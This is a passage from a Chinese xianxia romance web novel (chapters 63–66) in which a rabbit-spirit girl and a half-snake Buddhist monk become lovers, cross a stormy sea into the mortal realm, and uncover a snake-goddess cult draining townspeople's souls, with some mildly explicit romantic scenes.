凡域灵气几乎断绝,是全然由凡人组建的城池国度,那里的凡人并不依傍宗门,而是由带天命的帝王统治,极少有修士会涉足。 便是有也多是大道无望的小角色,去凡域作威作福享受富贵罢了。 玉扶的五师姐闫宁最为博学,说起这些都不过寻常,还例外地与玉扶多科普了一些,原来凡域与修界还隔着一片无渡海,此海赤黑,海面多有罡风迷雾,这些天然的神奇屏障,既保护了另一端的凡人,也隔绝了修界这端的灵气外流。 闫宁不由感慨天地化物的神奇,却还是认为还是当修士的好些,修界也不是没有凡人,可即便是这些凡人,也常要借用蕴有灵气的灵石来驱动一些物件来做工,那连灵气都没有的地方的凡人,日子得有多难过啊? 她兀自说得畅快,好半响才反应不对,阿扶方才是不是问过她怎么去凡域? 阿扶想去凡域?! 第63章 被玉扶问过的显然不止是闫宁。 还有被借灵石借法宝的, 众人一核对,哪里还坐得住,奸猾的妖, 这是还想诓骗她们的小师妹私奔!? 她们也不再等什么小蛇恢复,当下就找上了门, 门扇被拍得框框作响。 房内正在调息的息尘, 显然意外她们的动静, 不过, 经过两日的修养, 他也已从虚弱期中渐缓过来,想到那些都是阿扶的师姐们,也盖因不信任他这等妖蛇会是佛宗那个息尘, 这两日里并不让玉扶与他多接触。 他忖了忖, 凝力化形方开了门。 甫一照面,双方都惊了惊,息尘惊的是她们的怒火。 而玉扶师姐们惊的是,出现在眼前的男子虽有发, 但束得一丝不苟, 周身气质清和宁静, 华美面庞不妖不戾,眉眼中透出的神采更是清正无比,这样看, 当真像是佛宗出来的佛子人物。 她们一宗的修士,就没有不在意男子容色的, 这样一瞧,本来的火气都下去了一点,但也没下到忘记来做什么的程度, 不过,比起开门见山的质问,倒是多了一份客气:“禅师看来恢复的不错。” 息尘微微笑着请诸人入内。 玉扶的师姐们人多,或坐或站,全在一方,将桌对面空位全留了出来,气势直如开堂会审。 “禅师可是要去凡域?” 息尘:“是。” 红裳:“是为逃避?” “禅师莫怪,阿扶与我等说了不少同禅师一起的经历。” “便是为了这份情谊,我等也不会将禅师的变化宣扬。” “只阿扶近日来常问及凡域之事,我等心有担忧,方做此猜测。” 息尘心底微叹了叹,料及玉扶是还未放弃想同他去凡域的想法,而玉扶的师姐们自是担心爱护她,恐他是为躲避妖域大妖的追杀与的佛宗的问责,要拐带了阿扶,才有现下这般上门。 他道:“非是逃避,只有些俗尘唯有凡域可了。” “我之麻烦同阿扶并无关联。” 红裳松了一口气,聪明人的交流,三言两语便可完全说清,好好的佛子成了妖,这事但凡宣扬了出来,不管佛宗内部暂不知晓此事,佛宗声望必然有损,问责都算是轻的那种。 至于妖域的麻烦,她们没放在心上,机缘嘛,当然是谁抢到就是谁的了。 然息尘这种完全不将麻烦牵扯阿扶的表态,说明他并不是逃避,也不是要拐带阿扶去凡域。 这就可圈可点了。 无形中,她们好感上升不少,待该说的说完,出了房门,有叛徒从中出现:“说句公道话,这佛修人品似乎不错。” 说话女子是玉扶四师姐宋霜,娃娃脸,当被众姐们视线望来时,满是无辜地一歪脸眨眼,大有“难道你们不是这样想的”意味。 闫宁赞同,说了第二句公道话:“不是骗子,阿扶不亏。” 有钱的万俟兰点头:“阿扶也是妖,不该对其他妖有偏见。” 程澄嗤笑,一句点破她们跟着五官走的三观:“你们倒不如直接点,直接说他长得好。” 几人连连赞叹:“是极是极,还是三师姐有见地。” “三师姐,见多识广。” 程澄怒瞪,爱装腼腆的老四,端庄婉约的老五,心眼比钱多的老七,合着就她缺心眼儿,就等着她说这句了是吧!? 她们这种一旦出宗门历练目的就不纯的门派,看脸是基础,要第一眼见到的不是幺指细的小蛇,而是今日的那张脸,就算玉扶真被骗了,也能夸个眼光不错。 然玉扶强调她没有受骗,就是很离谱地解释,她赖上的佛修突然变成了半妖,今日一见,她们才从将信将疑变成了或许确有其事。 “那还棒打鸳鸯吗?”一直没说话的六师姐石薇出声问。 众人一齐看向了大师姐,又扭头兀自说开了:“大师姐都给要给那佛修送船去凡域了,当然是要拆散喽。” “这也是没办法的事,”闫宁佯作叹气:“阿扶那样单纯,才下山就在眼皮下丢了一次,若是去了凡域不回来,可哪里寻去?” “小兔子大了,还是要放放手,”程澄不赞同:“她这次进步就很大,比之在山上同那些灵兽混在一块,心眼都多了不少。” “你们不懂大师姐的心!”万俟兰摇头比划身高:“阿扶这么大的时候就失了姥姥陪伴,都是大师姐一日一日往山上跑地看顾,这孩子走歪了路,要跟人跑了,换了我也不能忍!” 话一落,就遭来了红裳意味十足的一瞥,继而目光划过在场的师妹:“我懂你们意思,阿扶成长如今,有了自己看男人的眼光,是不该保护太过。” “既确认不是被骗,我也不是不讲理的人,给他备船权当做是谢过他对阿扶的照顾。” “至于阿扶那边——”红裳一甩桃色袖摆,沉脸道:“我已在此耽搁几日,还有诸多事要料理。” 红裳是那类明艳不可方物的美人,即便是肃容也带着难以忽视的冷艳,可并不难看出她的让步,她最担忧的也不过是玉扶那情窦初开,抱着条小蛇对其什么都信的十足被骗模样。 然今日一谈,至少可见半妖不曾欺骗玉扶,且,其用心程度,还不定谁陷得更深,既如此,以她们宗门的作风,实不该插手过多。 她已准备离开。 * 玉扶在外逛了小半日,甫一回到客栈,听得大师姐要走了,其他几个师姐也有要离开的意思,不舍地眼泪汪汪。 “既不舍,就同我一起走。”红裳道。 玉扶眼泪收了回去:“七师姐说过的,找情人的时候就是要独身才好发挥,师姐带着我如何使得!” 红裳被她的学以致用给闹无语了,点了点她的额,塞给她一个储物的:“近来新结识了个器修,做了一些小玩意,都便宜你了。” 有了大师姐开头,各师姐也纷纷拿出不少有意思的玩意给玉扶,玉扶一下就见识到了师姐们的战绩惊人,其情人有丹修、音修、剑修…… 最后,最豪气的还是七师姐,玉扶看了一眼她说的“占地方的麻烦玩意”,竟是她今日出门想买的灵船,她开心得都想变成兔子扑到七师姐怀里。 万俟兰口气淡淡:“本来该大师姐给准备的,不过我揽了来。” 她递眼道:“阿扶,你懂我对你的好的吧?” 玉扶点头如捣蒜,她可太懂了,大师姐给的话,那灵船就到不了她的手中,息尘本就不愿带她去凡域,她好被动,可现在七师姐将可渡无渡海的灵船给了她。 她眼里都浸满了快乐的笑意,甜蜜的话不要钱的似的撒:“七师姐最好啦!” “我好喜欢七师姐……” 犹是还想说,有些视线扫来,她们立即一起装作什么都没发生。 红裳睁一眼闭一只眼,这次是真的离开了。 * 师姐们来时突然如骤雨,走时一个接一个,不知愁滋味的玉扶倏然就有了点知愁的怅怅。 故而对最后走的七师姐送的尤为远,还是万俟兰先受不了她的黏糊劲,直道要干脆带她走。 玉扶慌慌拒绝。 这两日不止一个师姐说要带她走了,可是呢,她好像已经有了自己的冒险,也有了自己的审美和想探究俘获的妖,很难再乖乖地跟在师姐们的身后。 她觉得半妖是很不一样的,他有时是息尘,有时候又是阿裴,起初惊过惧过,可现在留下来的感觉却是,好刺激啊! 短短的数月,她还从修界到妖域,甚至还将去凡域,赖上佛修,她想不到有哪一日是无趣的。 或许,她本就不是什么安分的小兔,也或许,纯粹就是半妖太过吸引人。 总之,她想不到要分开的理由。 她将师姐们送的东西,装入自己妖纹下的纳物中,只留了一装有灵船的储物挂在外,步伐都几多轻快地往客栈赶。 * 被包下的客栈,异常空落。 息尘的心也好似被蛀空了一般,空落落。 可细想,这样安静枯燥的每一日,也不过是回到遇到玉扶之前的寻常罢了。 早就知晓的,阿扶并不是无家可归的野兔子,迟早会有离开的一日。 尤其是在见过她的师姐们,他该更放心她的离开,也该松快,毕竟他本就不欲带阿扶去往凡域冒险。 然,再多的本该如此也说服不了不去想念。 他高估了自己的清心寡欲,有一刻,或许该让阿裴来取代他,唯有阿裴能肆意地放大所有他们共有的阴暗一面,能不管不顾地去争,去抢—— 察觉心念的偏离,息尘立即停止了深想,颂念心经,压下那些日渐频繁的杂念。 他闭着目,风拂长身,日影微荡,恍若又变作了那个清冷如圣,凛然无欲的佛子。 他也这样认为,直到窸窣带风的跑动声向他而来。 侧眼,无有欲求的瞳仁中清晰映出了少女鲜活的色彩,少女跑动时,双髻绒球跃动,发丝飞扬,笑靥与灿光勾出惊心动魄的光影。 他的心跳如若静止,蛀空变得满溢。 少女停至面前,表情骄矜得意:“息尘!你要带我去凡域!”—— 第64章 息尘听到了自己违心的冷淡声线, 他问:“为何?” 玉扶晃着手中的储物袋,扬着眉道:“我师姐将灵船给我了。” 息尘稍想便记起,阿扶的大师姐, 愿赠他船,助他前往凡域, 他原以为是想让他尽快与阿扶分开才提出的, 原来不是如此吗? 他垂下眼, 分明欣喜, 却理智地还要多问上一句:“阿扶你不同你的师姐们回去吗?凡域——” 才起了个头, 玉扶就知道息尘又要唠叨什么凡域危险,凡域不适合修炼等等,她干脆地仰脸亲上了他唠叨的唇。 世界一下安静了, 固执的佛修, 唇却很软,玉扶起初只是轻吮他唇瓣,后来她发现息尘的唇让开了一点,轻易地让她的舌闯了进去。 早就开过荤的兔子自然不一样, 她很会亲, 勾起的手, 几乎挂上了息尘,息尘倒退,靠上了栏杆, 用作与花草隔离的木栏只有半人高,甫一靠上, 他的双手便向后撑住,微岔的腿被少女强势挤入。 明明已经决心送离阿扶,为什么不忍推开他的心跳在激荡, 在开怀,在情难自已。 指节收紧,闭上眼,妥协也放过自己地去感受这个吻,阿扶的吻,很轻,很顽皮,时而勾缠时而吐出地轻轻呼吸,令人心痒痒地不断被惹了起来。 不算陌生的反应,男子的反应,再次证明他非圣人,且还庸俗急色。 好一会儿,玉扶松开,舌尖勾走一点水丝。 好奇怪啊,息尘分明被惹起来了,可微垂的面庞怎么还能这样一点也不显淫.靡,圣洁得简直犹如净瓶中的杨柳垂露。 但,还想亲。 她动作慢吞吞地又往前挤了挤,这次,玉扶惊异了,隔着衣料的抵来的触感,变得好明显。 很快她注意到,息尘整个人其实僵硬得厉害,往后撑着身的双掌更是死死扣住了栏杆,力道大得都留下了印子。 他依旧克制且无所适从,但他这次没有再与她谈什么静心,也没有说什么“我不是他”的提醒,更没有用不容侵犯的目光推拒。 玉扶有点怀疑莫不是又换芯了,然直视他的眼,他眼中似乎有一种柔软的包容,像是自我惩罚,又像是理智与欲望的拉扯,一下就将玉扶触动了,这一定是息尘无疑。 于他的目中,玉扶难得地没有得寸进尺,而是重新将话题拉回道:“你不能不带我。” “你还欠我东西。” 息尘瞳仁微动,想要合腿,他绷得发痛,他为自己的反应感到羞耻,但说不上厌恶,更多的是,隐晦的快意,他那总被阿裴诟病的装模作样,最后的一块遮布,在他极为清醒时,在玉扶面前荡然无存。 但他做不到阿裴那样放浪,也不会主动勾玉扶,他阖了阖眼,任由发烫,任由杵着,甚至面上也仍旧洁净沉静:“阿扶,我欠了什么?” 玉扶不太懂息尘今日是怎么想的,竟然到现在都没有推开她。 她感受着快碰到肚子的硌感,倏然仰脸,神魂熟门熟路地闯入了息尘的识海中,压抑的闷哼从息尘喉间溢出。 “阿扶不要乱来。” 他呼吸很乱,几乎要捏碎了掌下的木质栏杆。 但玉扶没有听他的,她的神魂扑倒息尘的,身体力行地提醒息尘,他欠了她什么。 圣山核心的力量,没有消化完的那一部分,寻不到了。 小兔哼哼的声音从识海中直传脑海:“我暂放你这儿的,我以后的修为,被你蜕皮的时候用了!” “难道不该还给我吗?” 息尘:“该还。” 玉扶不依不饶:“那我是债主,我一定要跟着你看着你,直到你还完。” 息尘败下了阵,或许从她重新出现的那一刻,他就已不再那样坚定,他道:“好。” 好简单,好轻易的同意,玉扶都不好继续占便宜了。 神魂退出,视线先下垂,又微红着脸地向上掀起,无辜中带着邀请的询问。 息尘顺着她视线看去,耳廓红得几乎泅出血来。 * 几日后,息尘完全从虚弱期中恢复。 玉扶回来的那一日,一念的放纵,无可转圜的余地,从院中转到房中,也从碰一下开始。 她的手掌软绵绵,动作慢抚,收拢。 他雪白僧衣下,汗水浸透内衫,额角青筋跳动,颈子喉结滑动异常,一股难以描述,也不曾经历过的颤栗直窜过脊骨。 坐姿再也挺不直地想滑下去,想放出尾巴,原来这是这样让人难以自已的事,他咬住了唇,总是不想让自己太失态。 然而阿扶是不可控的,她稍一用力,一下就让他失了神。 玉扶的手脏了。 清洁后,便噘着嘴地同他抱怨,要亲亲,要补偿。 他的手总是干净修长,指甲也修剪齐整,玉扶将他的手翻看一会,直言,就要这个。 伴着婉转的泣音,他的手指,像是融化进了膏脂里面。 他懂得了轻一点如何,重一点又如何。 直到过去几日,回想,他仍旧恍惚。 荒唐,荒.淫,但血液却在沸腾。 他并非无欲无求,他渴求甚重。 又是一颗,他手中以修为刻纹的禅珠出现了裂纹。 他的心不静。 干脆收起佛珠,走出了船舱,这艘玉扶师姐送的灵船极尽了奢侈华美的同时,用材坚固,其上防御法阵也颇多。 这是他们出发的第一日,玉扶正在新奇地摆弄机关。 一些小机关就藏在船壁上,一拨动,几面船壁移动,垂下纱帐,玉扶又拨动,船舱内部也发生变化,探头一眼,好大一张床—— 果然,师姐给的不会是什么正经船。 甲板好安静,就只有她与息尘,此时谁也没有发出声音,却一同看到了船舱内部的变化,静谧得让人心中生出尴尬感。 佛修再如何也是个正经人,他的所有退让与改变也带着一种克己的秩序,玉扶打破了他的秩序,而后,他又习惯性地捡起了那秩序。 以至于,几日下来,无形中多了一种道不明的陌生感,并非是真的陌生,而是,每多对视一眼便会放大回忆,滋生暧昧的无所适从感。 当然,主要不适的肯定不是玉扶,她想,她也没有特别过分,不过是拉着他的手做了一直想做的事,就这还是先礼尚往来的呢。 玉扶的手还搭在机关处,视线委委屈屈地投来,要多幽怨便有多幽怨,她生性活泼,实在受不了这种沉闷的静了,松开机关,几步拉住了息尘,眼睫上掀:“我要你还债。” 霎时,息尘耳后肌肤变红,蔓延,整个人要熟透了一般,眼前不断浮现出少女深陷情欲,淋漓湿透的娇美模样,越不想回忆,画面越汹涌而来,呼吸沉重得失去控制。 几日方捡回的冷静顷刻崩塌。 轻飘飘的纱帐飞扬在头顶,少女倾身身上,活泼的神魂小兔在识海里肆意跑跳,他的神魂在自己的主场里落在了弱势,被扑倒,被化形,触角相接,灵息动荡,但—— 甘之如饴。 那份最后的陌生屏障被打破,羞耻吟声男女交混,他渐从被动转为了主动,少女腰身被他抬起…… 天际星光铺天,海面灵船在摇,一切皆是开始。 * 吹入舱内的风开始变得罡烈,一道灵力打向船壁机关,防护罩再次补上,玉扶卷着雪色僧袍,满脸好奇地趴看息尘又在刻禅珠。 并不用刻刀,而是以心念为刀,禅法为纹,注入大量修为方能成一颗。 玉扶见过这禅珠,平日里息尘就常捻在手中,后来也是这些禅珠顷刻困住了几多大妖。 原来它们是这样来的。 玉扶饶有兴趣地盯着息尘动作,视线落在他手上、颈上,还有面上,很难想象,克制之人激动起来,原来那样淫.靡,毫不吝惜地展力,迫切得她头皮都在发麻,就好像他在将他的所有理智抛却,只用紧紧凿入来宣泄。 莫名的,玉扶从他身上嗅到了一丝同阿裴一样的肆意气息,不止一次了,他们好像越来越趋近,某些时刻也变得越发相似。 经他们之口承认的,他们就是同一人,但分开的妖性与人性显出来的性格又是那样不同,他们彼此也隐约地排斥接纳,甚至争夺。 然争夺得越厉害,交织得也越紧密,玉扶的神魂与之缠上时,几乎都要辨不出他们之间的区别了,譬如,息尘如今也能得心应手地掌控妖躯,用阿裴才能用的术法;而阿裴,在脱离圣山后,也竟破天荒地学会了审时度势与忍让。 种种发现下,玉扶只觉紧迫。 她馋息尘好久了,好心肠的,温和的,却难以攀折的佛修,终于被她吃到了。 她见到了他为自己变得奇怪,也感受到了他也对自己的喜欢。 讨债真是让人满足极了! 想着,玉扶开心地卷着息尘的僧袍打滚。 息尘被她动静吸引,垂眼看她,他的雪色僧袍被裹在少女皙白的肌上,显出窈窕的线条,肩颈一半散开,起伏可见曼妙蓬雪,稍别视线,少女膝弯往下小腿莹白匀称,脚丫波浪似的摇摆晃荡。 息尘目光变得幽深,眸中欲念深重得快要溢出来,热情的小兔,她不单纯,也不无辜,她的脚背踢到了他的背,不挪开,反一下一下地蹭。 一次与无数次似乎并没有区别。 玉扶捣乱的脚丫被握住,抻直了的拉扯,息尘摸上了玉扶柔软的发,顺着脊背往下,玉扶被摸舒服了地扭身,双腿搭在息尘腿上,仰颈等待亲吻。 清泠泠的吻压来,她的手也被握住了,有珠串套上她手腕,偏眼瞧去,竟是息尘先才一通忙碌刻出的佛珠,呀声抬手:“给我的?” “嗯。”息尘缓慢一吻后抬起脸,将玉扶抱坐腿上,也将她的发从衣襟中理出,然后缓慢给她笼好衣袍。 一番动作,欲念方压下,嗓音恢复几分冷静:“阿扶,马上要出无渡海了,进入凡域后,这串佛珠勿要摘下。” 玉扶惜命得紧,这样的好东西,不管凡域有没有危险,她才舍不得摘呢,当下抱着息尘的脖颈蹭:“我好喜欢。” 柔软的唇瓣若贴若离地贴在息尘薄红的肌肤上,她不再掩饰对他的贪图,她太喜欢快乐的事了,贪心得就算吃不消也喜欢。 息尘很快又被她惹起来,然而,无渡海又对他们显出了恼人的一面,飓风卷来,灵船被打得噼啪作响,船体护罩携带的灵力也在快速流矢。 海水产生不同寻常的对流,灵船不断经历打转和颠簸,他们不得在灵船毁坏前,将船稳定下来。 一出了船舱,便见无数水龙卷上连雷云,下延水面,一道道气柱天然成了阻拦两域的屏障,而在这些超然的景象之后,却是风平浪静,那里,似乎就是凡域。 不用思索,收起灵船,息尘携着玉扶躲过飓风与龙卷,穿过气柱,最后跨过一个海浪,足尖再点海面,已是凡域。 第65章 甫一入了凡域, 玉扶便觉周遭的空气都带着一种凝滞感。 这当然是错觉,真正让她感到凝滞的是灵力的调动,不能及时从周遭环境中补足。 息尘显然也是这种感觉, 不过在海面停留片刻,便重新放出灵船。 灵船受飓风龙卷影响, 船体有些损坏, 但并不严重, 检查一番即可重新驶行, 然当原先驱动的灵石耗尽后, 玉扶就没舍得往上补了。 在凡域,灵石可是用一块就少一块。 只有真处于这地界后,玉扶才切身感受到凡域会面临的难处, 来此或许就算本事不济一点, 也能跨过两域的阻隔,但有没有本事回去可就说不准了,一旦灵力耗尽,想在这样灵力稀薄到跟没有差不多的地界攒够回去的实力, 也太难了。 很难想象, 妖王竟然会来这样的地方? 是无敌寂寞?还是凡域确有吸引妖王驻足的魅力? 玉扶不得而知, 总之,她惜命的毛病犯了,突然就吝啬抠搜了起来, 师姐们给准备的灵石她一颗都不愿意往外掏,她要留到回程或者不得已的时候再用。 好在, 失去灵力驱动的灵船缩小后,在海面上也精致得极为显眼,往来商船虽奇怪他们怎么漂流到此的, 却也愿意用绳索勾住,带他们一程。 最近的码头名为蓬瀛渡,听闻此港曾有仙人上岸,还可望见仙山,故而得名。 见客商们笃信不疑的模样,玉扶忍不住抿唇笑,什么仙人,估计也是来到此的修士罢了,然听及不只有仙人上岸,还曾有过凡人于此地出发寻仙成功的,玉扶震惊了,这里的凡人好有勇气啊! 与玉扶的反应不同,息尘似乎颇为在意这些传闻,他细细问这数百年来,都有哪些仙人登岸,又有哪些寻仙成功的。 商客们不说远的,光说当下的大昭王朝,在二百多年前,就有一皇室子弟访仙成功的,甚至还带回了仙药与庇护。 这些福泽直到今日都还在大昭的国土上延续。 商客们一旦谈论起来,话题便天南地北地广了,什么大昭边地危急之时,有神兽出现力挽狂澜,又什么大昭的每一任帝王都圣寿绵长,还有遍布大昭的蛇神庙尤为受到信奉…… 息尘静静地听,玉扶偶尔忍不住地提一两点好奇,诸如是什么样的神兽,寻仙成功的又是哪一位皇子,蛇神庙供奉的男蛇还是女蛇…… 商客们有些答的上,有些答不上,最后建议道:“小娘子,这都是祖上传下来的传说,我等也不过听一耳,不敢说知之甚详,娘子若感兴趣,不妨亲自去走走看看。” “也巧,蓬瀛渡今年的庙会就在近些日子。” 当然他们也有对玉扶二人好奇的,奇他们怎会漂流在海面?还奇他们穿的单薄,不会觉得冷吗? 玉扶便说自己是从山里下来的,比较抗冻,船只漂流到此也是一个意外。 然即便如此也止不住一些偷偷的打量,尤其是对上息尘,几乎是将他当成了隐世的高人。 行船一路,不少人请求息尘为他们瞧瞧凶吉,息尘答应了,作为报答,偶尔还会通过观气相面等提点上几句注意。 如此同行一路倒是相安无事,直到到了蓬瀛渡渡口告别后,他们才倏然惊奇,那艘华美精致的小船不知何时消失不见了。 玉扶手上捧着收回的灵船,将其小心地收入了纳物中,这才放眼去看眼前的凡城,许是临近渡口的缘故,这儿行人往来如织,热闹非凡,各处都散发着一种非常浓厚的人气。 同修界很不一样的感觉,各种搅拌在一起的声音,让玉扶感到一阵轻微的眩晕,就连车轮碾来她都没想着躲避,还是息尘拉了她一把,才侧身到道旁。 玉扶就势依在他胸膛,捂着耳朵,秀眉蹙在一块,很有几分难受的意味。 息尘双手也覆上玉扶的耳,一道隔音灵屏就要成型,玉扶拉住他摇头:“一会就好,我才不要听不见。” 她双耳天生听得远,听得细,而此处的人声、车马、叫卖过多过杂,她总要适应一会,才能习惯。 她捂耳,慢慢适应,时而将手松开一些,听入不少细致的人声,听上半响,就几乎将周旁的格局都给摸清楚了,完全松开手后,便已能如常无异。 她搓了搓自己耳,叹气:“有时候天赋太强也是麻烦啊。” 分明就是藏不住的骄矜得意,却偏做一副没办法的表情,息尘不免失笑,还是尽量拉她避开了人群。 商客们说的不错,此地近期确有一场庙会,所见凡人脸上的多有希冀与期待,沿街叫卖中也多围绕着祭祀与拜神用品。 然而,一路寻至蛇神庙,庙门紧闭,庙祝也阻拦,知情的本地人道:“二位是外乡人吧,蛇神娘娘这几日不受祭拜。” 玉扶疑惑:“为何不让祭拜?我分明听说蛇神娘娘不会拒绝任何人。” 本地人只当她是不解民间习俗的大户家小娘子,解释道:“平日确实如此,不过,庙会在即,蛇神娘娘需要准备,祈福请神仪式后方能在庙会当日出巡,接受祭拜。” “二位若是想拜蛇神娘娘还需等上两日。” 玉扶被灌了一耳的当地习俗,颇为受教地道谢,然则早在听的时候,就捏了一只魂体小兔子穿墙而过,从庙祝眼前飞过,进入了庙宇的主殿。 主殿神像颇高,但半身都有黄布遮盖,端看底部,是石质的蛇尾,工造精细,鳞片许许。 魂体小兔跳上尾巴,在玉扶的感应下没有再多有动作,她在想,继续的话算不算冒犯。 她知道息尘是在寻母亲,也即是妖域传闻中许久不曾现身的妖王,而雪仙背后受到的指使似乎也全来自妖王? 雪仙一直在指引者息尘寻向凡域。 这当然是玉扶自己的出的结论,但结合息尘愿意说的,玉扶觉得她猜的也差不离了。 那凡域的这个蛇神娘娘是息尘在寻的母亲吗? 探究的决心压过了对神像的敬重,魂体小兔在黄布内飘扬而上,见到了蛇神娘娘的脸,也是石质的,但头部的雕刻明显更精细,眉眼英气,五官与息尘隐约有些神似。 甫一瞧清,玉扶就撤回了魂体小兔的探查,神神秘秘地与息尘分享所见。 对此息尘像是早已预见,反而让玉扶不要浪费能力:“阿扶,有问题的不一定是神像。” 修士尤其是佛修,即便不特意动用神识,对邪祟污浊的感知也强过一般人,有问题的或已经浸透到了这整个王朝。 接下来一日里,玉扶不断跟着息尘路过一些普通人家,家家户户门扉挂红灯,备香火,信仰虔诚,有些甚至信任得到了盲目的地步。 玉扶瞧见有的家中都揭不开锅了,却仍为了信仰褪了身上的冬衣,换来据说是蛇神娘娘喜爱的祭品,还有豪奢之家,为了换取一个后代,愿奉献所有家财…… 如此种种,就连玉扶也渐觉毛骨悚然,然满城的普通人却无感似的,继续为即将到来的庙会准备。 他们整整逛了一日,到了夜里,寻至空旷处,息尘拟灵成线,只见这一日所经府宅,每一户顶上都出现了魂念脱离的情况。 数不清的凡人魂念点亮的灵线,颜色各异,于黑夜中闪着只有息尘与玉扶可见的光芒。 一般而言,魂念是不能脱离修者躯体的,这无异于削弱神魂的力量,何况是普通凡人,这更等同削减寿元。 尤其还是这样大范围的脱离。 这简直是邪魔歪道的天堂,但凡有个不走正途的修者掠走这些凡人魂念炼化,那修为不知要涨多少。 玉扶震惊得说不出话,妖域传说中的妖王是那样霸气高傲的妖,应当不会做出如此丧尽天良的事情吧? 她询问似的觑了息尘一眼。 “不是她。”息尘如同玉扶肚里的蛔虫,余光一眼便回答:“阿扶,她或许早就不在了。” 随着同阿裴的相互争夺,一些遗忘的记忆也一并夺回,他记起了还有一人的存在,一个试图挣脱凡人身躯束缚的疯子。 他眼下无端泛起戾气,狠狠压下,那些经灵线显化的魂念也逐渐消失眼前。 玉扶知道,不是真正的消失,只是瞧不见了而已,她的善良虽然不泛滥,对这些遭难的凡人也不相识,可也难免动容,毕竟是凡人,他们的魂念被夺,很容易死的。 或许一段时日不显,但只要等上个三五载,青壮便会加快衰老,身体变得孱弱,弱点的孩童可能都活不到长成。 “我们要帮他们吗?”玉扶于心不忍问。 “自是要帮的,但还不是时候。”息尘道:“设下这等造神声势抽离魂念的,不会不来享用。” 玉扶没有回应,呆呆看他。 又是那种感觉,他说“帮”时眉眼和润,自然是息尘,可说及“不会不来享用”,又透出点冷意,就好像是阿裴要从眼前这个人的躯壳中钻出来似的。 息尘和阿裴之间的界限变得更模糊了。 玉扶倏然有些怕,她并不怕他们交替地出现,但怕消失和变得陌生。 再懵懂,再对半妖一知半解,也是能感觉出一体两个意识的不对,或许融合的平衡的才是正常的半妖,可是那样的话,还是她认识的阿裴和息尘吗? 玉扶无法再忽视这种改变,也无法再用情欲上的享受麻痹发现。 她心里想得发闷,揪住息尘的袖袍,有些担忧地问:“息尘,你以后会变得不认识我吗?” 第66章 息尘怔愣, 阿扶似乎比他想象的还要敏锐。 她发现他的变化了。 但他想,他是不会忘记玉扶的,她对他来说, 太深刻了。 所以,他用摇头回复玉扶, 嗓音也带着种温柔的笃定:“阿扶, 我不会忘记你。” 玉扶很好哄, 心情霎时转晴, 也肯定道:“息尘, 你是息尘的时候我也会好好喜欢你的。” 息尘听出她话外的意思,是阿裴的时候,想来就是好好喜欢阿裴吧, 说不嫉妒是不可能的, 不甘心亦有之,分明是他与玉扶先遇见。 但能怪阿扶吗? 不能的,她不过是只顺心、从心的小兔罢了,何况还是那样有传统的宗门, 她能喜欢来喜欢去还都是他这一人, 已是专情得不得了了。 感受到息尘包容温和的注视, 玉扶脸颊微微发烫,她的小心思好像被发现了,可确实很难割舍啊, 息尘不会说漂亮话,经常因为太过温柔体贴而将自己忍到极致, 圣洁禁忌得人想将他全部扒开。 至于阿裴嘛,花样就好多,多到招架不住还能诱着她尝试这个尝试那个, 是妖精。 她本来就没有什么定力的兔子,当然会想全要啊。 玉扶不敢再想下去,扭身走向前头,步子越走越快,凉风吹了好一会才将她发烫的温度降下去。 息尘不紧不慢地跟着,目光就不曾离开过玉扶,活泼娇美的小兔,让人看了一眼又一眼,不想她受到半点伤害。 走了不久,便重新回到蛇神庙附近,就近寻客栈暂歇下。 他们料定庙会当日定然有事发生,也不急于多等两日。 至于从狐妖口中得到的地点皇城,息尘不认为与庙会就失了关联,自入了凡域,所听所见,处处都与他弥弥中存在关联。 他残缺的记忆,在这些关联的刺激下,与阿裴的那一份魂识纠缠得更密不可分,他恍似梦到了大蛇在嘶吼,强大的力量撑爆他筋络地灌来—— 他双眼紧闭,浑身都在发汗,陷入了一个看不清始末的梦魇。 玉扶发现了他的不对,起初,她以为这是佛修法门入定的一种,她托着脸欣赏他趺坐时,端肃冒汗的模样,饶有兴致地看汗水顺着他的颊、脖颈滑入衣襟。 可慢慢地,玉扶发现息尘的汗也太多了一些,就算她为他擦也擦不干净,他的內衫都浸出了湿意。 她开始试图唤醒他,但无论她多大声,息尘就恍如隔绝了外界一般。 她无法唤醒他,他也听不入她的声音,这也太奇怪了。 玉扶急得团团转,直觉地不能让息尘继续这样下去,她睇一眼息尘,决定用出她最后的手段。 她的手扯开了息尘的腰带,紧裹的衣襟一下松散,露出一些胸膛的轮廓,汗水顺着脖颈一路向下,向下。 玉扶保证,她并没有色色的想法,只是他这身形生的太好了,肌肤也很白,不是同她一样的皙白,而是更健康一点白,汗水浸过后,还显出绸缎一样的欲.色。 玉扶下意识吞咽了一下,她真的没有想法的,她都看过好多次,摸过好多次了,才不会趁人之危,她只是想帮他醒过来而已。 她伸出手推他胸膛,用劲儿揉了揉,威胁:“你再不醒来,我就要扒光你了!” 没有反应,除了一手汗腻。 腻得她浑身都有些热了起来。 真的有这么热吗? 玉扶更贴近地用手沿着胸膛滑落,结实又劲瘦,不烫,是凉的,至少还没有她的手温度高。 所以他为什么会这样一直渗出汗呢? 玉扶想,她只是帮他散散热,掀开、扯动、褪下,一层层外袍、内衫,最后全部堆叠在了息尘的腰腹处。 半身肌理没有任何遮挡地衤果在玉扶面前。 宽肩窄腰,身材极佳。 就连一点点的呼吸伏动,都能显出这具身体的力量。 玉扶眼中直戳戳地完整映着赤诚佛修,脑子不受控地想起第一次她被他掌控时的息尘,颈子昂起,腰腹绷得紧紧,她当时只是想摸摸确认而已,可他却仿佛陷入了极大的忍耐中。 分明是出尘的佛子,却有着与寡淡面皮完全相反的敏感反应,玉扶一下子就喜欢得一塌糊涂。 后来,她就摸得更大胆,想让他动情,也想让他只渡她。 越想越看,越看也越想,玉扶与他相对跪坐,指腹抵住他微微凸起的喉结:“你再不醒来,我就要想对你做什么了,你可不能怪我。” 还是没有苏醒的迹象,但多了一些容情,眉心蹙出了几个小川。 玉扶肯定,这绝对不是因为听了她的威胁,她的威胁分明是的快乐的事,才不会让人感到痛苦,息尘嘴上不说,但分明也是喜欢的。 玉扶倾身靠近,漂亮的小脸蛋都凑到了息尘的颌下,她抬手,先抹了抹他眉间的小川,一次两次,还是抚不平。 放弃叹息一声:“我努力过了,是你自己不醒的。” “我担心你才想和你做快乐的事。” 这次,她仰脸亲在了息尘的下颌,沿着颌线往上,咬住了唇瓣。 她的神魂小兔故态复萌地又往息尘的神魂里挤,她以往是很轻易就能闯入的,因为他们对她根本没有防备,可是就在现在,她发现她进不去了。 玉扶恼恨,用力咬息尘的下唇,吮出血味,再次尝试挤入神魂。 